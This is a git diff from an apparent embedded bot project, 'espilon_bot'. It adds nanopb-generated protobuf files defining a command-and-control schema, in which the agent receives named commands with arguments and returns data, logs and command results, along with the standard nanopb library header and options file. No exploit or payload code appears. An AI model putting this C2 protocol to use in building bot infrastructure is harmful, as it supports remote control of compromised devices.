c2_AgentMsgType_AGENT_DATA,
|
||||
src,
|
||||
req,
|
||||
data,
|
||||
len,
|
||||
eof
|
||||
);
|
||||
}
|
||||
17
espilon_bot/components/core/nanoPB/c2.pb.c
Normal file
17
espilon_bot/components/core/nanoPB/c2.pb.c
Normal file
@ -0,0 +1,17 @@
|
||||
/* Automatically generated nanopb constant definitions */
|
||||
/* Generated by nanopb-1.0.0-dev */
|
||||
|
||||
#include "c2.pb.h"
|
||||
#if PB_PROTO_HEADER_VERSION != 40
|
||||
#error Regenerate this file with the current version of nanopb generator.
|
||||
#endif
|
||||
|
||||
PB_BIND(c2_Command, c2_Command, 2)
|
||||
|
||||
|
||||
PB_BIND(c2_AgentMessage, c2_AgentMessage, 2)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
107
espilon_bot/components/core/nanoPB/c2.pb.h
Normal file
107
espilon_bot/components/core/nanoPB/c2.pb.h
Normal file
@ -0,0 +1,107 @@
|
||||
/* Automatically generated nanopb header */
|
||||
/* Generated by nanopb-1.0.0-dev */
|
||||
|
||||
#ifndef PB_C2_PROTO_C2_PB_H_INCLUDED
|
||||
#define PB_C2_PROTO_C2_PB_H_INCLUDED
|
||||
#include <pb.h>
|
||||
|
||||
#if PB_PROTO_HEADER_VERSION != 40
|
||||
#error Regenerate this file with the current version of nanopb generator.
|
||||
#endif
|
||||
|
||||
/* Enum definitions */
|
||||
typedef enum _c2_AgentMsgType {
|
||||
c2_AgentMsgType_AGENT_INFO = 0,
|
||||
c2_AgentMsgType_AGENT_ERROR = 1,
|
||||
c2_AgentMsgType_AGENT_DATA = 2,
|
||||
c2_AgentMsgType_AGENT_LOG = 3,
|
||||
c2_AgentMsgType_AGENT_CMD_RESULT = 4
|
||||
} c2_AgentMsgType;
|
||||
|
||||
/* Struct definitions */
|
||||
typedef struct _c2_Command {
|
||||
char device_id[64];
|
||||
char command_name[32];
|
||||
pb_size_t argv_count;
|
||||
char argv[8][64];
|
||||
char request_id[64];
|
||||
} c2_Command;
|
||||
|
||||
typedef PB_BYTES_ARRAY_T(256) c2_AgentMessage_payload_t;
|
||||
typedef struct _c2_AgentMessage {
|
||||
char device_id[64];
|
||||
c2_AgentMsgType type;
|
||||
char source[32];
|
||||
char request_id[64];
|
||||
c2_AgentMessage_payload_t payload;
|
||||
bool eof;
|
||||
} c2_AgentMessage;
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* Helper constants for enums */
|
||||
#define _c2_AgentMsgType_MIN c2_AgentMsgType_AGENT_INFO
|
||||
#define _c2_AgentMsgType_MAX c2_AgentMsgType_AGENT_CMD_RESULT
|
||||
#define _c2_AgentMsgType_ARRAYSIZE ((c2_AgentMsgType)(c2_AgentMsgType_AGENT_CMD_RESULT+1))
|
||||
|
||||
|
||||
#define c2_AgentMessage_type_ENUMTYPE c2_AgentMsgType
|
||||
|
||||
|
||||
/* Initializer values for message structs */
|
||||
#define c2_Command_init_default {"", "", 0, {"", "", "", "", "", "", "", ""}, ""}
|
||||
#define c2_AgentMessage_init_default {"", _c2_AgentMsgType_MIN, "", "", {0, {0}}, 0}
|
||||
#define c2_Command_init_zero {"", "", 0, {"", "", "", "", "", "", "", ""}, ""}
|
||||
#define c2_AgentMessage_init_zero {"", _c2_AgentMsgType_MIN, "", "", {0, {0}}, 0}
|
||||
|
||||
/* Field tags (for use in manual encoding/decoding) */
|
||||
#define c2_Command_device_id_tag 1
|
||||
#define c2_Command_command_name_tag 2
|
||||
#define c2_Command_argv_tag 3
|
||||
#define c2_Command_request_id_tag 4
|
||||
#define c2_AgentMessage_device_id_tag 1
|
||||
#define c2_AgentMessage_type_tag 2
|
||||
#define c2_AgentMessage_source_tag 3
|
||||
#define c2_AgentMessage_request_id_tag 4
|
||||
#define c2_AgentMessage_payload_tag 5
|
||||
#define c2_AgentMessage_eof_tag 6
|
||||
|
||||
/* Struct field encoding specification for nanopb */
|
||||
#define c2_Command_FIELDLIST(X, a) \
|
||||
X(a, STATIC, SINGULAR, STRING, device_id, 1) \
|
||||
X(a, STATIC, SINGULAR, STRING, command_name, 2) \
|
||||
X(a, STATIC, REPEATED, STRING, argv, 3) \
|
||||
X(a, STATIC, SINGULAR, STRING, request_id, 4)
|
||||
#define c2_Command_CALLBACK NULL
|
||||
#define c2_Command_DEFAULT NULL
|
||||
|
||||
#define c2_AgentMessage_FIELDLIST(X, a) \
|
||||
X(a, STATIC, SINGULAR, STRING, device_id, 1) \
|
||||
X(a, STATIC, SINGULAR, UENUM, type, 2) \
|
||||
X(a, STATIC, SINGULAR, STRING, source, 3) \
|
||||
X(a, STATIC, SINGULAR, STRING, request_id, 4) \
|
||||
X(a, STATIC, SINGULAR, BYTES, payload, 5) \
|
||||
X(a, STATIC, SINGULAR, BOOL, eof, 6)
|
||||
#define c2_AgentMessage_CALLBACK NULL
|
||||
#define c2_AgentMessage_DEFAULT NULL
|
||||
|
||||
extern const pb_msgdesc_t c2_Command_msg;
|
||||
extern const pb_msgdesc_t c2_AgentMessage_msg;
|
||||
|
||||
/* Defines for backwards compatibility with code written before nanopb-0.4.0 */
|
||||
#define c2_Command_fields &c2_Command_msg
|
||||
#define c2_AgentMessage_fields &c2_AgentMessage_msg
|
||||
|
||||
/* Maximum encoded size of messages (where known) */
|
||||
#define C2_PROTO_C2_PB_H_MAX_SIZE c2_Command_size
|
||||
#define c2_AgentMessage_size 426
|
||||
#define c2_Command_size 683
|
||||
|
||||
#ifdef __cplusplus
|
||||
} /* extern "C" */
|
||||
#endif
|
||||
|
||||
#endif
|
||||
213
espilon_bot/components/core/nanoPB/nanopb.proto
Normal file
213
espilon_bot/components/core/nanoPB/nanopb.proto
Normal file
@ -0,0 +1,213 @@
|
||||
// This file contains definitions of custom options used to control the
|
||||
// code generator in nanopb protocol buffers library.
|
||||
//
|
||||
// Most commonly used options are max_count and max_size, which allow
|
||||
// the generator to allocate static arrays for repeated and string fields.
|
||||
//
|
||||
// There are three ways to use these options:
|
||||
// 1. Use a separate <protofile>.options file
|
||||
// 2. Use command line switches to nanopb_generator.py
|
||||
// 3. Use [(nanopb).option = value] in your <protofile>.proto file
|
||||
//
|
||||
// For detailed documentation, refer to "Generator options" in docs/reference.md
|
||||
|
||||
syntax = "proto2";
|
||||
import "google/protobuf/descriptor.proto";
|
||||
|
||||
option java_package = "fi.kapsi.koti.jpa.nanopb";
|
||||
|
||||
enum FieldType {
|
||||
FT_DEFAULT = 0; // Automatically decide field type, generate static field if possible.
|
||||
FT_CALLBACK = 1; // Always generate a callback field.
|
||||
FT_POINTER = 4; // Always generate a dynamically allocated field.
|
||||
FT_STATIC = 2; // Generate a static field or raise an exception if not possible.
|
||||
FT_IGNORE = 3; // Ignore the field completely.
|
||||
FT_INLINE = 5; // Legacy option, use the separate 'fixed_length' option instead
|
||||
}
|
||||
|
||||
enum IntSize {
|
||||
IS_DEFAULT = 0; // Default, 32/64bit based on type in .proto
|
||||
IS_8 = 8;
|
||||
IS_16 = 16;
|
||||
IS_32 = 32;
|
||||
IS_64 = 64;
|
||||
}
|
||||
|
||||
enum TypenameMangling {
|
||||
M_NONE = 0; // Default, no typename mangling
|
||||
M_STRIP_PACKAGE = 1; // Strip current package name
|
||||
M_FLATTEN = 2; // Only use last path component
|
||||
M_PACKAGE_INITIALS = 3; // Replace the package name by the initials
|
||||
}
|
||||
|
||||
enum DescriptorSize {
|
||||
DS_AUTO = 0; // Select minimal size based on field type
|
||||
DS_1 = 1; // 1 word; up to 15 byte fields, no arrays
|
||||
DS_2 = 2; // 2 words; up to 4095 byte fields, 4095 entry arrays
|
||||
DS_4 = 4; // 4 words; up to 2^32-1 byte fields, 2^16-1 entry arrays
|
||||
DS_8 = 8; // 8 words; up to 2^32-1 entry arrays
|
||||
}
|
||||
|
||||
// This is the inner options message, which basically defines options for
|
||||
// a field. When it is used in message or file scope, it applies to all
|
||||
// fields.
|
||||
message NanoPBOptions {
|
||||
// Allocated size for 'bytes' and 'string' fields.
|
||||
// For string fields, this should include the space for null terminator.
|
||||
optional int32 max_size = 1;
|
||||
|
||||
// Maximum length for 'string' fields. Setting this is equivalent
|
||||
// to setting max_size to a value of length+1.
|
||||
optional int32 max_length = 14;
|
||||
|
||||
// Allocated number of entries in arrays ('repeated' fields)
|
||||
optional int32 max_count = 2;
|
||||
|
||||
// Size of integer fields. Can save some memory if you don't need
|
||||
// full 32 bits for the value.
|
||||
optional IntSize int_size = 7 [default = IS_DEFAULT];
|
||||
|
||||
// Size for enum fields. Supported by C++11 and C23 standards.
|
||||
optional IntSize enum_intsize = 34 [default = IS_DEFAULT];
|
||||
|
||||
// Force type of field (callback or static allocation)
|
||||
optional FieldType type = 3 [default = FT_DEFAULT];
|
||||
|
||||
// Use long names for enums, i.e. EnumName_EnumValue.
|
||||
optional bool long_names = 4 [default = true];
|
||||
|
||||
// Add 'packed' attribute to generated structs.
|
||||
// Note: this cannot be used on CPUs that break on unaligned
|
||||
// accesses to variables.
|
||||
optional bool packed_struct = 5 [default = false];
|
||||
|
||||
// Add 'packed' attribute to generated enums.
|
||||
optional bool packed_enum = 10 [default = false];
|
||||
|
||||
// Skip this message
|
||||
optional bool skip_message = 6 [default = false];
|
||||
|
||||
// Generate oneof fields as normal optional fields instead of union.
|
||||
optional bool no_unions = 8 [default = false];
|
||||
|
||||
// integer type tag for a message
|
||||
optional uint32 msgid = 9;
|
||||
|
||||
// decode oneof as anonymous union
|
||||
optional bool anonymous_oneof = 11 [default = false];
|
||||
|
||||
// Proto3 singular field does not generate a "has_" flag
|
||||
optional bool proto3 = 12 [default = false];
|
||||
|
||||
// Force proto3 messages to have no "has_" flag.
|
||||
// This was default behavior until nanopb-0.4.0.
|
||||
optional bool proto3_singular_msgs = 21 [default = false];
|
||||
|
||||
// Generate an enum->string mapping function (can take up lots of space).
|
||||
optional bool enum_to_string = 13 [default = false];
|
||||
|
||||
// Generate validation methods for enums
|
||||
optional bool enum_validate = 32 [default = false];
|
||||
|
||||
// Generate bytes arrays with fixed length
|
||||
optional bool fixed_length = 15 [default = false];
|
||||
|
||||
// Generate repeated field with fixed count
|
||||
optional bool fixed_count = 16 [default = false];
|
||||
|
||||
// Generate message-level callback that is called before decoding submessages.
|
||||
// This can be used to set callback fields for submsgs inside oneofs.
|
||||
optional bool submsg_callback = 22 [default = false];
|
||||
|
||||
// Shorten or remove package names from type names.
|
||||
// This option applies only on the file level.
|
||||
optional TypenameMangling mangle_names = 17 [default = M_NONE];
|
||||
|
||||
// Data type for storage associated with callback fields.
|
||||
optional string callback_datatype = 18 [default = "pb_callback_t"];
|
||||
|
||||
// Callback function used for encoding and decoding.
|
||||
// Prior to nanopb-0.4.0, the callback was specified in per-field pb_callback_t
|
||||
// structure. This is still supported, but does not work inside e.g. oneof or pointer
|
||||
// fields. Instead, a new method allows specifying a per-message callback that
|
||||
// will be called for all callback fields in a message type.
|
||||
optional string callback_function = 19 [default = "pb_default_field_callback"];
|
||||
|
||||
// Select the size of field descriptors. This option has to be defined
|
||||
// for the whole message, not per-field. Usually automatic selection is
|
||||
// ok, but if it results in compilation errors you can increase the field
|
||||
// size here.
|
||||
optional DescriptorSize descriptorsize = 20 [default = DS_AUTO];
|
||||
|
||||
// Set default value for has_ fields.
|
||||
optional bool default_has = 23 [default = false];
|
||||
|
||||
// Extra files to include in generated `.pb.h`
|
||||
repeated string include = 24;
|
||||
|
||||
// Automatic includes to exclude from generated `.pb.h`
|
||||
// Same as nanopb_generator.py command line flag -x.
|
||||
repeated string exclude = 26;
|
||||
|
||||
// Package name that applies only for nanopb.
|
||||
optional string package = 25;
|
||||
|
||||
// Override type of the field in generated C code. Only to be used with related field types
|
||||
optional google.protobuf.FieldDescriptorProto.Type type_override = 27;
|
||||
|
||||
// Override of the label of the field (see FieldDescriptorProto.Label). Can be used to create
|
||||
// fields which nanopb considers required in proto3, or whether nanopb treats the field as
|
||||
// optional/required/repeated.
|
||||
optional google.protobuf.FieldDescriptorProto.Label label_override = 31;
|
||||
|
||||
// Due to historical reasons, nanopb orders fields in structs by their tag number
|
||||
// instead of the order in .proto. Set this to false to keep the .proto order.
|
||||
// The default value will probably change to false in nanopb-0.5.0.
|
||||
optional bool sort_by_tag = 28 [default = true];
|
||||
|
||||
// Set the FT_DEFAULT field conversion strategy.
|
||||
// A field that can become a static member of a c struct (e.g. int, bool, etc)
|
||||
// will be a a static field.
|
||||
// Fields with dynamic length are converted to either a pointer or a callback.
|
||||
optional FieldType fallback_type = 29 [default = FT_CALLBACK];
|
||||
|
||||
// Override initializer used in generated MyMessage_init_zero and MyMessage_init_default macros
|
||||
// By default decided automatically based on field default value and datatype.
|
||||
optional string initializer = 30;
|
||||
|
||||
// Discard unused types that are automatically generated by protoc if they are not actually
|
||||
// needed. Currently this applies to map< > types when the field is ignored by options.
|
||||
optional bool discard_unused_automatic_types = 33 [default = true];
|
||||
|
||||
// Discard messages and fields marked with [deprecated = true] in the proto file.
|
||||
optional bool discard_deprecated = 35 [default = false];
|
||||
}
|
||||
|
||||
// Extensions to protoc 'Descriptor' type in order to define options
|
||||
// inside a .proto file.
|
||||
//
|
||||
// Protocol Buffers extension number registry
|
||||
// --------------------------------
|
||||
// Project: Nanopb
|
||||
// Contact: Petteri Aimonen <jpa@kapsi.fi>
|
||||
// Web site: http://kapsi.fi/~jpa/nanopb
|
||||
// Extensions: 1010 (all types)
|
||||
// --------------------------------
|
||||
|
||||
extend google.protobuf.FileOptions {
|
||||
optional NanoPBOptions nanopb_fileopt = 1010;
|
||||
}
|
||||
|
||||
extend google.protobuf.MessageOptions {
|
||||
optional NanoPBOptions nanopb_msgopt = 1010;
|
||||
}
|
||||
|
||||
extend google.protobuf.EnumOptions {
|
||||
optional NanoPBOptions nanopb_enumopt = 1010;
|
||||
}
|
||||
|
||||
extend google.protobuf.FieldOptions {
|
||||
optional NanoPBOptions nanopb = 1010;
|
||||
}
|
||||
|
||||
|
||||
942
espilon_bot/components/core/nanoPB/pb.h
Normal file
942
espilon_bot/components/core/nanoPB/pb.h
Normal file
@ -0,0 +1,942 @@
|
||||
/* Common parts of the nanopb library. Most of these are quite low-level
|
||||
* stuff. For the high-level interface, see pb_encode.h and pb_decode.h.
|
||||
*/
|
||||
|
||||
#ifndef PB_H_INCLUDED
|
||||
#define PB_H_INCLUDED
|
||||
|
||||
/*****************************************************************
|
||||
* Nanopb compilation time options. You can change these here by *
|
||||
* uncommenting the lines, or on the compiler command line. *
|
||||
*****************************************************************/
|
||||
|
||||
/* Enable support for dynamically allocated fields */
|
||||
/* #define PB_ENABLE_MALLOC 1 */
|
||||
|
||||
/* Define this if your CPU / compiler combination does not support
|
||||
* unaligned memory access to packed structures. Note that packed
|
||||
* structures are only used when requested in .proto options. */
|
||||
/* #define PB_NO_PACKED_STRUCTS 1 */
|
||||
|
||||
/* Increase the number of required fields that are tracked.
|
||||
* A compiler warning will tell if you need this. */
|
||||
/* #define PB_MAX_REQUIRED_FIELDS 256 */
|
||||
|
||||
/* Add support for tag numbers > 65536 and fields larger than 65536 bytes. */
|
||||
/* #define PB_FIELD_32BIT 1 */
|
||||
|
||||
/* Disable support for error messages in order to save some code space. */
|
||||
/* #define PB_NO_ERRMSG 1 */
|
||||
|
||||
/* Disable checks to ensure sub-message encoded size is consistent when re-run. */
|
||||
/* #define PB_NO_ENCODE_SIZE_CHECK 1 */
|
||||
|
||||
/* Disable support for custom streams (support only memory buffers). */
|
||||
/* #define PB_BUFFER_ONLY 1 */
|
||||
|
||||
/* Disable support for 64-bit datatypes, for compilers without int64_t
|
||||
or to save some code space. */
|
||||
/* #define PB_WITHOUT_64BIT 1 */
|
||||
|
||||
/* Don't encode scalar arrays as packed. This is only to be used when
|
||||
* the decoder on the receiving side cannot process packed scalar arrays.
|
||||
* Such example is older protobuf.js. */
|
||||
/* #define PB_ENCODE_ARRAYS_UNPACKED 1 */
|
||||
|
||||
/* Enable conversion of doubles to floats for platforms that do not
|
||||
* support 64-bit doubles. Most commonly AVR. */
|
||||
/* #define PB_CONVERT_DOUBLE_FLOAT 1 */
|
||||
|
||||
/* Check whether incoming strings are valid UTF-8 sequences. Slows down
|
||||
* the string processing slightly and slightly increases code size. */
|
||||
/* #define PB_VALIDATE_UTF8 1 */
|
||||
|
||||
/* This can be defined if the platform is little-endian and has 8-bit bytes.
|
||||
* Normally it is automatically detected based on __BYTE_ORDER__ macro. */
|
||||
/* #define PB_LITTLE_ENDIAN_8BIT 1 */
|
||||
|
||||
/* Configure static assert mechanism. Instead of changing these, set your
|
||||
* compiler to C11 standard mode if possible. */
|
||||
/* #define PB_C99_STATIC_ASSERT 1 */
|
||||
/* #define PB_NO_STATIC_ASSERT 1 */
|
||||
|
||||
/******************************************************************
|
||||
* You usually don't need to change anything below this line. *
|
||||
* Feel free to look around and use the defined macros, though. *
|
||||
******************************************************************/
|
||||
|
||||
|
||||
/* Version of the nanopb library. Just in case you want to check it in
|
||||
* your own program. */
|
||||
#define NANOPB_VERSION "nanopb-1.0.0-dev"
|
||||
|
||||
/* Include all the system headers needed by nanopb. You will need the
|
||||
* definitions of the following:
|
||||
* - strlen, memcpy, memset functions
|
||||
* - [u]int_least8_t, uint_fast8_t, [u]int_least16_t, [u]int32_t, [u]int64_t
|
||||
* - size_t
|
||||
* - bool
|
||||
*
|
||||
* If you don't have the standard header files, you can instead provide
|
||||
* a custom header that defines or includes all this. In that case,
|
||||
* define PB_SYSTEM_HEADER to the path of this file.
|
||||
*/
|
||||
#ifdef PB_SYSTEM_HEADER
|
||||
#include PB_SYSTEM_HEADER
|
||||
#else
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
#include <stdbool.h>
|
||||
#include <string.h>
|
||||
#include <limits.h>
|
||||
|
||||
#ifdef PB_ENABLE_MALLOC
|
||||
#include <stdlib.h>
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* Macro for defining packed structures (compiler dependent).
|
||||
* This just reduces memory requirements, but is not required.
|
||||
*/
|
||||
#if defined(PB_NO_PACKED_STRUCTS)
|
||||
/* Disable struct packing */
|
||||
# define PB_PACKED_STRUCT_START
|
||||
# define PB_PACKED_STRUCT_END
|
||||
# define pb_packed
|
||||
#elif defined(__GNUC__) || defined(__clang__)
|
||||
/* For GCC and clang */
|
||||
# define PB_PACKED_STRUCT_START
|
||||
# define PB_PACKED_STRUCT_END
|
||||
# define pb_packed __attribute__((packed))
|
||||
#elif defined(__ICCARM__) || defined(__CC_ARM)
|
||||
/* For IAR ARM and Keil MDK-ARM compilers */
|
||||
# define PB_PACKED_STRUCT_START _Pragma("pack(push, 1)")
|
||||
# define PB_PACKED_STRUCT_END _Pragma("pack(pop)")
|
||||
# define pb_packed
|
||||
#elif defined(_MSC_VER) && (_MSC_VER >= 1500)
|
||||
/* For Microsoft Visual C++ */
|
||||
# define PB_PACKED_STRUCT_START __pragma(pack(push, 1))
|
||||
# define PB_PACKED_STRUCT_END __pragma(pack(pop))
|
||||
# define pb_packed
|
||||
#else
|
||||
/* Unknown compiler */
|
||||
# define PB_PACKED_STRUCT_START
|
||||
# define PB_PACKED_STRUCT_END
|
||||
# define pb_packed
|
||||
#endif
|
||||
|
||||
/* Define for explicitly not inlining a given function */
|
||||
#if defined(__GNUC__) || defined(__clang__)
|
||||
/* For GCC and clang */
|
||||
# define pb_noinline __attribute__((noinline))
|
||||
#elif defined(__ICCARM__) || defined(__CC_ARM)
|
||||
/* For IAR ARM and Keil MDK-ARM compilers */
|
||||
# define pb_noinline
|
||||
#elif defined(_MSC_VER) && (_MSC_VER >= 1500)
|
||||
# define pb_noinline __declspec(noinline)
|
||||
#else
|
||||
# define pb_noinline
|
||||
#endif
|
||||
|
||||
/* Detect endianness */
|
||||
#if !defined(CHAR_BIT) && defined(__CHAR_BIT__)
|
||||
#define CHAR_BIT __CHAR_BIT__
|
||||
#endif
|
||||
|
||||
#ifndef PB_LITTLE_ENDIAN_8BIT
|
||||
#if ((defined(__BYTE_ORDER) && __BYTE_ORDER == __LITTLE_ENDIAN) || \
|
||||
(defined(__BYTE_ORDER__) && __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__) || \
|
||||
defined(__LITTLE_ENDIAN__) || defined(__ARMEL__) || \
|
||||
defined(__THUMBEL__) || defined(__AARCH64EL__) || defined(_MIPSEL) || \
|
||||
defined(_M_IX86) || defined(_M_X64) || defined(_M_ARM)) \
|
||||
&& defined(CHAR_BIT) && CHAR_BIT == 8
|
||||
#define PB_LITTLE_ENDIAN_8BIT 1
|
||||
#endif
|
||||
#endif
|
||||
|
||||
/* Handly macro for suppressing unreferenced-parameter compiler warnings. */
|
||||
#ifndef PB_UNUSED
|
||||
#define PB_UNUSED(x) (void)(x)
|
||||
#endif
|
||||
|
||||
/* Harvard-architecture processors may need special attributes for storing
|
||||
* field information in program memory. */
|
||||
#ifndef PB_PROGMEM
|
||||
#ifdef __AVR__
|
||||
#include <avr/pgmspace.h>
|
||||
#define PB_PROGMEM PROGMEM
|
||||
#define PB_PROGMEM_READU32(x) pgm_read_dword(&x)
|
||||
#else
|
||||
#define PB_PROGMEM
|
||||
#define PB_PROGMEM_READU32(x) (x)
|
||||
#endif
|
||||
#endif
|
||||
|
||||
/* Compile-time assertion, used for checking compatible compilation options.
|
||||
* If this does not work properly on your compiler, use
|
||||
* #define PB_NO_STATIC_ASSERT to disable it.
|
||||
*
|
||||
* But before doing that, check carefully the error message / place where it
|
||||
* comes from to see if the error has a real cause. Unfortunately the error
|
||||
* message is not always very clear to read, but you can see the reason better
|
||||
* in the place where the PB_STATIC_ASSERT macro was called.
|
||||
*/
|
||||
#ifndef PB_NO_STATIC_ASSERT
|
||||
# ifndef PB_STATIC_ASSERT
|
||||
# if defined(__ICCARM__)
|
||||
/* IAR has static_assert keyword but no _Static_assert */
|
||||
# define PB_STATIC_ASSERT(COND,MSG) static_assert(COND,#MSG);
|
||||
# elif defined(_MSC_VER) && (!defined(__STDC_VERSION__) || __STDC_VERSION__ < 201112)
|
||||
/* MSVC in C89 mode supports static_assert() keyword anyway */
|
||||
# define PB_STATIC_ASSERT(COND,MSG) static_assert(COND,#MSG);
|
||||
# elif defined(PB_C99_STATIC_ASSERT)
|
||||
/* Classic negative-size-array static assert mechanism */
|
||||
# define PB_STATIC_ASSERT(COND,MSG) typedef char PB_STATIC_ASSERT_MSG(MSG, __LINE__, __COUNTER__)[(COND)?1:-1];
|
||||
# define PB_STATIC_ASSERT_MSG(MSG, LINE, COUNTER) PB_STATIC_ASSERT_MSG_(MSG, LINE, COUNTER)
|
||||
# define PB_STATIC_ASSERT_MSG_(MSG, LINE, COUNTER) pb_static_assertion_##MSG##_##LINE##_##COUNTER
|
||||
# elif defined(__cplusplus)
|
||||
/* C++11 standard static_assert mechanism */
|
||||
# define PB_STATIC_ASSERT(COND,MSG) static_assert(COND,#MSG);
|
||||
# else
|
||||
/* C11 standard _Static_assert mechanism */
|
||||
# define PB_STATIC_ASSERT(COND,MSG) _Static_assert(COND,#MSG);
|
||||
# endif
|
||||
# endif
|
||||
#else
|
||||
/* Static asserts disabled by PB_NO_STATIC_ASSERT */
|
||||
# define PB_STATIC_ASSERT(COND,MSG)
|
||||
#endif
|
||||
|
||||
/* Test that PB_STATIC_ASSERT works
|
||||
* If you get errors here, you may need to do one of these:
|
||||
* - Enable C11 standard support in your compiler
|
||||
* - Define PB_C99_STATIC_ASSERT to enable C99 standard support
|
||||
* - Define PB_NO_STATIC_ASSERT to disable static asserts altogether
|
||||
*/
|
||||
PB_STATIC_ASSERT(1, STATIC_ASSERT_IS_NOT_WORKING)
|
||||
|
||||
/* Number of required fields to keep track of. */
|
||||
#ifndef PB_MAX_REQUIRED_FIELDS
|
||||
#define PB_MAX_REQUIRED_FIELDS 64
|
||||
#endif
|
||||
|
||||
#if PB_MAX_REQUIRED_FIELDS < 64
|
||||
#error You should not lower PB_MAX_REQUIRED_FIELDS from the default value (64).
|
||||
#endif
|
||||
|
||||
#ifdef PB_WITHOUT_64BIT
|
||||
#ifdef PB_CONVERT_DOUBLE_FLOAT
|
||||
/* Cannot use doubles without 64-bit types */
|
||||
#undef PB_CONVERT_DOUBLE_FLOAT
|
||||
#endif
|
||||
#endif
|
||||
|
||||
/* Data type for storing encoded data and other byte streams.
|
||||
* This typedef exists to support platforms where uint8_t does not exist.
|
||||
* You can regard it as equivalent on uint8_t on other platforms.
|
||||
*/
|
||||
#if defined(PB_BYTE_T_OVERRIDE)
|
||||
typedef PB_BYTE_T_OVERRIDE pb_byte_t;
|
||||
#elif defined(UINT8_MAX)
|
||||
typedef uint8_t pb_byte_t;
|
||||
#else
|
||||
typedef uint_least8_t pb_byte_t;
|
||||
#endif
|
||||
|
||||
/* List of possible field types. These are used in the autogenerated code.
|
||||
* Least-significant 4 bits tell the scalar type
|
||||
* Most-significant 4 bits specify repeated/required/packed etc.
|
||||
*/
|
||||
typedef pb_byte_t pb_type_t;
|
||||
|
||||
/**** Field data types ****/
|
||||
|
||||
/* Numeric types */
|
||||
#define PB_LTYPE_BOOL 0x00U /* bool */
|
||||
#define PB_LTYPE_VARINT 0x01U /* int32, int64, enum, bool */
|
||||
#define PB_LTYPE_UVARINT 0x02U /* uint32, uint64 */
|
||||
#define PB_LTYPE_SVARINT 0x03U /* sint32, sint64 */
|
||||
#define PB_LTYPE_FIXED32 0x04U /* fixed32, sfixed32, float */
|
||||
#define PB_LTYPE_FIXED64 0x05U /* fixed64, sfixed64, double */
|
||||
|
||||
/* Marker for last packable field type. */
|
||||
#define PB_LTYPE_LAST_PACKABLE 0x05U
|
||||
|
||||
/* Byte array with pre-allocated buffer.
|
||||
* data_size is the length of the allocated PB_BYTES_ARRAY structure. */
|
||||
#define PB_LTYPE_BYTES 0x06U
|
||||
|
||||
/* String with pre-allocated buffer.
|
||||
* data_size is the maximum length. */
|
||||
#define PB_LTYPE_STRING 0x07U
|
||||
|
||||
/* Submessage
|
||||
* submsg_fields is pointer to field descriptions */
|
||||
#define PB_LTYPE_SUBMESSAGE 0x08U
|
||||
|
||||
/* Submessage with pre-decoding callback
|
||||
* The pre-decoding callback is stored as pb_callback_t right before pSize.
|
||||
* submsg_fields is pointer to field descriptions */
|
||||
#define PB_LTYPE_SUBMSG_W_CB 0x09U
|
||||
|
||||
/* Extension pseudo-field
|
||||
* The field contains a pointer to pb_extension_t */
|
||||
#define PB_LTYPE_EXTENSION 0x0AU
|
||||
|
||||
/* Byte array with inline, pre-allocated byffer.
|
||||
* data_size is the length of the inline, allocated buffer.
|
||||
* This differs from PB_LTYPE_BYTES by defining the element as
|
||||
* pb_byte_t[data_size] rather than pb_bytes_array_t. */
|
||||
#define PB_LTYPE_FIXED_LENGTH_BYTES 0x0BU
|
||||
|
||||
/* Number of declared LTYPES */
|
||||
#define PB_LTYPES_COUNT 0x0CU
|
||||
#define PB_LTYPE_MASK 0x0FU
|
||||
|
||||
/**** Field repetition rules ****/
|
||||
|
||||
#define PB_HTYPE_REQUIRED 0x00U
|
||||
#define PB_HTYPE_OPTIONAL 0x10U
|
||||
#define PB_HTYPE_SINGULAR 0x10U
|
||||
#define PB_HTYPE_REPEATED 0x20U
|
||||
#define PB_HTYPE_FIXARRAY 0x20U
|
||||
#define PB_HTYPE_ONEOF 0x30U
|
||||
#define PB_HTYPE_MASK 0x30U
|
||||
|
||||
/**** Field allocation types ****/
|
||||
|
||||
#define PB_ATYPE_STATIC 0x00U
|
||||
#define PB_ATYPE_POINTER 0x80U
|
||||
#define PB_ATYPE_CALLBACK 0x40U
|
||||
#define PB_ATYPE_MASK 0xC0U
|
||||
|
||||
#define PB_ATYPE(x) ((x) & PB_ATYPE_MASK)
|
||||
#define PB_HTYPE(x) ((x) & PB_HTYPE_MASK)
|
||||
#define PB_LTYPE(x) ((x) & PB_LTYPE_MASK)
|
||||
#define PB_LTYPE_IS_SUBMSG(x) (PB_LTYPE(x) == PB_LTYPE_SUBMESSAGE || \
|
||||
PB_LTYPE(x) == PB_LTYPE_SUBMSG_W_CB)
|
||||
|
||||
/* Data type used for storing sizes of struct fields
|
||||
* and array counts.
|
||||
*/
|
||||
#if defined(PB_FIELD_32BIT)
|
||||
typedef uint32_t pb_size_t;
|
||||
typedef int32_t pb_ssize_t;
|
||||
#else
|
||||
typedef uint_least16_t pb_size_t;
|
||||
typedef int_least16_t pb_ssize_t;
|
||||
#endif
|
||||
#define PB_SIZE_MAX ((pb_size_t)-1)
|
||||
|
||||
/* Forward declaration of struct types */
|
||||
typedef struct pb_istream_s pb_istream_t;
|
||||
typedef struct pb_ostream_s pb_ostream_t;
|
||||
typedef struct pb_field_iter_s pb_field_iter_t;
|
||||
|
||||
/* This structure is used in auto-generated constants
|
||||
* to specify struct fields.
|
||||
*/
|
||||
typedef struct pb_msgdesc_s pb_msgdesc_t;
|
||||
struct pb_msgdesc_s {
|
||||
const uint32_t *field_info;
|
||||
const pb_msgdesc_t * const * submsg_info;
|
||||
const pb_byte_t *default_value;
|
||||
|
||||
bool (*field_callback)(pb_istream_t *istream, pb_ostream_t *ostream, const pb_field_iter_t *field);
|
||||
|
||||
pb_size_t field_count;
|
||||
pb_size_t required_field_count;
|
||||
pb_size_t largest_tag;
|
||||
};
|
||||
|
||||
/* Iterator for message descriptor */
|
||||
struct pb_field_iter_s {
|
||||
const pb_msgdesc_t *descriptor; /* Pointer to message descriptor constant */
|
||||
void *message; /* Pointer to start of the structure */
|
||||
|
||||
pb_size_t index; /* Index of the field */
|
||||
pb_size_t field_info_index; /* Index to descriptor->field_info array */
|
||||
pb_size_t required_field_index; /* Index that counts only the required fields */
|
||||
